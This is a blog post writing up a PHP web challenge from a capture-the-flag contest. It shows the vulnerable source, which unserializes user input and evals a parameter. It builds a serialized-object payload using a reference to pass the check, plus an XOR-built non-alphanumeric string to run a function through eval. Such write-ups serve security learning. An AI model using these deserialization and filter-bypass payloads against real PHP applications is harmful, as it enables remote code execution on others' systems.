WHUCTF做题记录-第九题dank-php

markdown用的不好,并且有写的不恰当的地方还请大佬指正,这题主要的知识点是php反序列化和无数字字母执行函数获取webshell

<?php
include "flag.php";

show_source(__FILE__);

class user {
  var $name;
  var $pass;
  var $secret;
}

if (isset($_GET['id'])) {

  $id = $_GET['id'];

  $usr = unserialize($id);
  if ($usr) {
    $usr->secret = $flag1;
    if ($usr->name === "admin" && $usr->pass === $usr->secret) {
      echo "Congratulation! Here is something for you...  " . $usr->pass;
      if (isset($_GET['caption'])) {
        $cap = $_GET['caption'];
        if (strlen($cap) > 45) {
          die("Naaaah, Take rest now");
        }
        if (preg_match("/[A-Za-z0-9]+/", $cap)) {
          die("Don't mess with the best language!!");
        }
        eval($cap);
        // Try to execute echoFlag()
      } else {
        echo "NVM You are not eligible";
      }
    } else {
      echo "Oh no... You can't fool me";
    }

  } else {
    echo "are you trolling?";
  }

} else {
  echo "Go and watch some Youthoob Tutorials Kidosss!!";
}

​ php代码审计。对传入的参数id进行了反序列化,然后serect属性被赋了$flag1变量的值,显然这里的$flag1是flagh.php的变量,然后进行了第一层if语句的判断,判断name属性的值是否等于"admin"以及判断pass属性和secret属性的值是否相等。

​ 这里的name属性很好搞定,但是pass和secret相等就要想办法实现,这里的难搞之处在于secret被重新赋值了,而却$flag1的值我们是不知道的。所以这里就要用到一个知识点,那就是指针引用的序列化,有关序列化的问题这篇博客讲的比较详细:https://blog.csdn.net/Iamduoluo/article/details/8491746?utm_source=blogxgwz6。

​ 总之就是如果$a=&$b,那么a就是对b的指针引用,简而言之如果$b的值改变,那么$a的值也发生改变并且与$b相等,所以我们就可以让user类中的pass属性指针引用serect属性,那么就可以实现$usr->pass === $usr->secret了,构造id为:

    id=O:4:"user":3:{s:4:"name";s:5:"admin";s:6:"secret";s:3:"456";s:4:"pass";R:3;}
即可绕过第一个if。(这里的serect是任取的,反正后面还要赋值)

​ 那么接着看,下面要传入一个参数caption,而且对此参数存在着长度的过滤和数字字母的过滤。并且注释提示我们要执行echoFlag函数,这里就可以参考hint中的无数字字母执行函数getshell的方法,采用异或的方式来使用特殊字符来构造函数并执行。https://ctf-wiki.github.io/ctf-wiki/web/php/php-zh/#preg_match
异或构造echoFlag python脚本:

    str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/"
    str2="echoFlag"
    for ch in str2:
        for i in range(0, len(str)):
            for j in range(0, len(str)):
                a = ord(str[i])^ord(str[j])
                if chr(a)==ch:
                    print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a));
    caption=\$_="@\(/},?<"^"%?@@;@^[";\$_();
    // 这里的\$_代表一个变量,字符串 "@\(/},?<"^"%?@@;@^[" 就是echoFlag,然后是\$_();就是执行函数echoFlag();


    //所以payload就是
    ?id=O:4:"user":3:{s:4:"name";s:5:"admin";s:6:"secret";s:3:"456";s:4:"pass";R:3;}&caption=\$_="@\(/},?<"^"%?@@;@^[";\$_();

然后即得flag: flag{Do_you_want_a_girlfriend}

emmmmm,这个flag。。。。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值